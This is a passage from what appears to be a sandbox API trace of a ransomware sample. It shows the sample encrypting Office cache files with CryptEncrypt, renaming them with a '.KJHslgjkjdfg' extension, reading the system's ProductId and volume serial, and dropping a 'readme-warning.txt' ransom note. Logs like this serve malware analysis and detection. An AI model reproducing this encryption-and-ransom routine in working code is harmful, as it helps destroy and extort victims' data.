| out: lpNewFilePointer=0x0) returned 1 [0130.410] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0130.410] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x93f400, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0130.410] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0130.418] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0130.420] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x93f400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.421] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0130.422] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x97f4c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.422] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0130.422] CryptDestroyKey (hKey=0x2c6260) returned 1 [0130.422] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x97f4c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.422] SetEndOfFile (hFile=0x124) returned 1 [0130.426] GetProcessHeap () returned 0x2a0000 [0130.426] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0130.426] GetProcessHeap () returned 0x2a0000 [0130.426] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0130.426] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.kjhslgjkjdfg")) returned 1 [0130.426] CloseHandle (hObject=0x124) returned 1 [0130.427] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0130.427] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0130.427] GetProcessHeap () returned 0x2a0000 [0130.427] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0130.427] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0130.427] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0130.427] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0130.429] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0130.430] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0130.430] GetProcessHeap () returned 0x2a0000 [0130.430] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0130.430] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30) returned 1 [0130.430] CryptDestroyKey (hKey=0x2c6260) returned 1 [0130.430] WriteFile (in: hFile=0x124, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f4f8*=0x30, lpOverlapped=0x0) returned 1 [0130.430] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0130.430] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0130.430] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0130.430] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0130.430] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0130.430] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0130.430] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0130.430] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.431] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x648, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x648, lpOverlapped=0x0) returned 1 [0130.431] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x650, dwBufLen=0x650 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x650) returned 1 [0130.431] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.431] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x650, lpOverlapped=0x0) returned 1 [0130.431] CryptDestroyKey (hKey=0x2c6260) returned 1 [0130.431] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.431] SetEndOfFile (hFile=0x124) returned 1 [0130.434] GetProcessHeap () returned 0x2a0000 [0130.434] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0130.434] GetProcessHeap () returned 0x2a0000 [0130.434] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0130.434] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0130.436] CloseHandle (hObject=0x124) returned 1 [0130.436] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0130.436] GetProcessHeap () returned 0x2a0000 [0130.436] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0130.437] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0130.437] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290f330 | out: pbData=0x2bf570, pdwDataLen=0x290f330) returned 1 [0130.437] CryptDestroyKey (hKey=0x2c6260) returned 1 [0130.437] GetProcessHeap () returned 0x2a0000 [0130.437] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0130.437] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0130.437] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290f330 | out: pbData=0x2bf5b8, pdwDataLen=0x290f330) returned 1 [0130.437] CryptDestroyKey (hKey=0x2c6260) returned 1 [0130.437] GetProcessHeap () returned 0x2a0000 [0130.437] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f22c8 [0130.437] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0130.437] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f22c8, pdwDataLen=0x290f330 | out: pbData=0x2f22c8, pdwDataLen=0x290f330) returned 1 [0130.437] CryptDestroyKey (hKey=0x2c6260) returned 1 [0130.437] GetProcessHeap () returned 0x2a0000 [0130.437] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0130.437] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0130.437] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ef10 | out: pbData=0x2bf528, pdwDataLen=0x290ef10) returned 1 [0130.437] CryptDestroyKey (hKey=0x2c6260) returned 1 [0130.437] GetProcessHeap () returned 0x2a0000 [0130.437] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1668 [0130.438] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0130.438] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1668, pdwDataLen=0x290ef10 | out: pbData=0x2c1668, pdwDataLen=0x290ef10) returned 1 [0130.438] CryptDestroyKey (hKey=0x2c6260) returned 1 [0130.438] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290ef0c | out: phkResult=0x290ef0c*=0x124) returned 0x0 [0130.438] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ef18, lpcbData=0x290ef14*=0x400 | out: lpType=0x0, lpData=0x290ef18*=0x30, lpcbData=0x290ef14*=0x18) returned 0x0 [0130.438] RegCloseKey (hKey=0x124) returned 0x0 [0130.438] GetProcessHeap () returned 0x2a0000 [0130.438] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0130.438] GetProcessHeap () returned 0x2a0000 [0130.438] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1668 | out: hHeap=0x2a0000) returned 1 [0130.438] GetProcessHeap () returned 0x2a0000 [0130.438] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1668 [0130.438] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290ec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0130.438] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1668, pdwDataLen=0x290ece4 | out: pbData=0x2c1668, pdwDataLen=0x290ece4) returned 1 [0130.438] CryptDestroyKey (hKey=0x2c6260) returned 1 [0130.438] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290ece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0130.438] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290ece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290ece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0130.439] GetProcessHeap () returned 0x2a0000 [0130.439] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1668 | out: hHeap=0x2a0000) returned 1 [0130.439] wsprintfA (in: param_1=0x290ef2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0130.439] wsprintfA (in: param_1=0x290f33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0130.439] GetProcessHeap () returned 0x2a0000 [0130.439] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f2690 [0130.439] wsprintfW (in: param_1=0x290e30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0130.439] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0130.439] WriteFile (in: hFile=0x124, lpBuffer=0x2f2690*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290e308, lpOverlapped=0x0 | out: lpBuffer=0x2f2690*, lpNumberOfBytesWritten=0x290e308*=0x3b3, lpOverlapped=0x0) returned 1 [0130.441] CloseHandle (hObject=0x124) returned 1 [0130.441] GetProcessHeap () returned 0x2a0000 [0130.441] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f22c8 | out: hHeap=0x2a0000) returned 1 [0130.441] GetProcessHeap () returned 0x2a0000 [0130.441] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f2690 | out: hHeap=0x2a0000) returned 1 [0130.441] GetProcessHeap () returned 0x2a0000 [0130.441] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0130.441] GetProcessHeap () returned 0x2a0000 [0130.441] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0130.441] FindClose (in: hFindFile=0x2c62a0 | out: hFindFile=0x2c62a0) returned 1 [0130.441] GetProcessHeap () returned 0x2a0000 [0130.441] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7ab8 | out: hHeap=0x2a0000) returned 1 [0130.441] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{90140000-001A-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9765F~1")) returned 1 [0130.441] GetProcessHeap () returned 0x2a0000 [0130.441] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8e) returned 0x2ef2d8 [0130.442] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c62a0 [0130.445] GetProcessHeap () returned 0x2a0000 [0130.445] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0130.445] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0130.445] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a6f2400, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3a6f2400, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xeebe0180, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe21fcc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OutlkLR.cab", cAlternateFileName="")) returned 1 [0130.445] GetProcessHeap () returned 0x2a0000 [0130.445] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x290) returned 0x2c7ab8 [0130.445] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0130.445] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x290f508 | out: lpFileSize=0x290f508*=14819276) returned 1 [0130.445] GetProcessHeap () returned 0x2a0000 [0130.445] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0130.445] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0130.446] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.446] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f4*=0x4, lpOverlapped=0x0) returned 1 [0130.448] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0130.449] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0130.449] GetProcessHeap () returned 0x2a0000 [0130.449] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0130.449] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40) returned 1 [0130.449] CryptDestroyKey (hKey=0x2c6260) returned 1 [0130.449] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f4*=0x40, lpOverlapped=0x0) returned 1 [0130.449] WriteFile (in: hFile=0x124, lpBuffer=0x290f4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f4fc*, lpNumberOfBytesWritten=0x290f4f4*=0x4, lpOverlapped=0x0) returned 1 [0130.449] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f4*=0x10, lpOverlapped=0x0) returned 1 [0130.449] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f4*=0x80, lpOverlapped=0x0) returned 1 [0130.450] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0130.450] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f4*=0x8, lpOverlapped=0x0) returned 1 [0130.450] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0130.450] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0130.450] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0130.450] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0130.454] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0130.460] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.460] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0130.461] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xe220a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.461] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0130.461] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0130.461] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0130.466] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0130.468] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.468] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0130.470] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xe220a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.470] 